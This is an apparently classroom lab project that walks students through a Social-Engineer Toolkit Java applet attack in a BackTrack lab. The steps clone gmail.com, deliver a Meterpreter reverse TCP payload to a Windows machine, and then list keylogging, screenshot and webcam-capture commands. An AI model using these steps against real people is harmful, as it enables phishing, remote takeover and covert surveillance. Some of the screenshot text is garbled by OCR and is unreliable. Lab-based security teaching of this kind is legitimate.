
Project X7: Social Engineering Toolkit Java Exploit
15 Points

What You Will Need
· A computer running BackTrack 5 as the attacker.   Details about it are below.
· A computer running Windows to be the target.  It can be a real or virtual machine.  I used a Win 7 machine, but this exploit has been reported to work on XP and Vista also.
· The target machine should not have any antivirus software running (this is obviously not a recommended secure practice for normal use).
· The two computers must be able to connect to one another over a network.
Starting the BackTrack Virtual Machine
1. Start the virtual machine in VMware Workstation.

2. At the bt login: prompt, enter root and press the Enter key.

3. At the password: prompt, enter toor and press the Enter key.

4. At the root@bt:~# prompt, enter startx and press the Enter key.

5. When the graphical desktop launches, click the black square icon to open a Terminal session.

6. At the root@bt:~# prompt, enter this command and press the Enter key:

ping ubuntu.com

If you don't get replies, you need to troubleshoot your networking,

[image: image1.wmf]Find Your IP Address

7. Type this command and then press the Enter key, as shown below on this page:

[image: image2.png]root@bt: /pentest/explolits/SET -

Edit View

B ##
=[ metasploit v3.7.0-dev [core:3.7 a

-+ [ 652 exploits - 343 auxiliary

-+ [ 216 payloads - 27 encoders - 8 no
=[ svn r11962 updated today (2011.03

resource (src/progran_junk/meta_config)> us
resource (src/progran_junk/meta_config)> se
r/reverse_tcp

PAYLOAD => windows/meterpreter/reverse_tcp
resource (src/program_junk/meta_config)> se
LHOST => 0.0.0.0

resource (src/program_junk/meta_config)> se
LPORT => 443

resource (src/program_junk/meta_config)> se
Exitonsession => false

resource (src/progran_junk/meta_config)> éx
[*] Exploit running as background job

nsf exploit(handler) >

[*] started reverse handler on 0.0.0.0:443
[“] Starting the payload handler




ifconfig
8. Find the IPv4 address that connects to the Internet.  Write it in the box to the right on this page. 
Launch SET
9. [image: image3.png]root@bt:—# ifconfig
etho Link encap:Ethernet HWaddr
inet addr:192.168.198.136



On the BackTrack machine, in the Konsole window, you should see a root@bt: ~# prompt.  Type these commands, pressing the Enter key after each one:

cd /pentest/exploits/SET

./set

10. SET launches, as shown to the right on this page.  At the Enter your choice: prompt, type the number that updates the toolkit (10 when I did it on 4-14-11, and then press the Enter key.

11. Wait for the update to complete.  Then enter the option to exit SET (12 when I did it).  
12. Launch SET again with the ./set command.
13. Make these choices at the Social-Engineer Toolkit menus (be careful, the numbers change frequently due to updates):

2 Website Attack Vectors
1 The Java Attack Method
2 Site Cloner
Enter url: https://gmail.com

It asks you "What payload do you want to generate:" and lists 13 choices

Press 2 for “Windows Reverse TCP Meterpreter”.
It shows a list of 16 encodings to try and bypass AV.

Press Enter for default
It asks you to "Enter the PORT of the listener (enter for default):

Press Enter for default
It asks you whether you want to create a Linux.OSX reverse_tcp payload.  


Enter no


It now shows blue text saying:


  [*] Launching MSF Listener...


  [*] This may take a few to load MSF...

14. [image: image4.png]Warning - Security

The application’s digital signature cannot be
verified. Do you want to run the application?

Name:  Java
Publisher: (NOT VERIFIED) Microsoft
From:  hitp://192.168.11.220

[ Biways trust content from this publisher
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Wait...  When it's done, you will see a whole screen of text scroll by as Metasploit launches, ending with this message, as shown to the right on this page:
Starting the payload handler... 
Installing Java on the Target Machine
15. On the target Windows machine, open a Web browser and go to java.com.  Download and install Java.

Opening the Evil URL on the Target Machine
16. [image: image5.png][*] Exploit running as background job

st exploit(handler) >

[*] started reverse handler on 0.0.0
[*] starting the payload handler..
[*] sending stage (749056 bytes) to 192.168.198.135
[*] Meterpreter session 1 opened (192.168.198.136:443 -> 192.168.198.13
5:49994) at Tue Mar 15 20:17:53 -0400 2011

443



On the target Windows machine, open a Web browser and go to the URL of the BackTrack machine.  If any warning boxes pop up, as shown to the right on this page, click Run to approve them.
[image: image6.png]Welcome to the Social-Engineer Toolkit (SET). Your one
stop shop for all of your social-engineering needs..

DerbyCon 2011 Sep30-0cte2 - http://www.derbycon. com
Select from the menu:

Spear-Phishing Attack Vectors
Website Attack Vectors
Infectious Media Generator
Create a Payload and Listener
Mass Mailer Attack

Teensy USB HID Attack Vector
SMs spoofing Attack Vector
Third Party Modules

9. Update the Metasploit Framework
10. Update the Social-Engineer Toolkit
11. Help, Credits, and About

12. Exit the Social-Engineer Toolkit

@NOUAWN

Enter your choice: 10




17. On the BackTrack machine, you should see a "Meterpreter session 1 opened" message, as shown above on this page.  There is no prompt, but type this command, and then press the Enter key:

sessions -i 1 
18. You now own the target!  Here are some fun meterpreter > commands to try:

· shell
Gives you a Windows Command Prompt on the target

· screenshot
Gives you an image of the target's desktop

· keyscan_start
Begins capturing keys typed in the target

· keyscan_dump
Shows the keystrokes captured so far

· webcam_list
Shows the available webcams (if any)

· webcam_snap
Takes a photo with the webcam

Saving the Screen Image and Turning in your Project
19. Make sure the "Meterpreter session 1 opened" message is visible.

20. Click on the Windows 7 host computer’s desktop to make it active. Press the PrntScrn key to capture the whole screen.  Paste the image into Paint and save it with the filename Your Name Proj X7.  

21. Email the image to cnit.123@gmail.com with a subject line of Proj X7 From Your Name.  Send a Cc to yourself.
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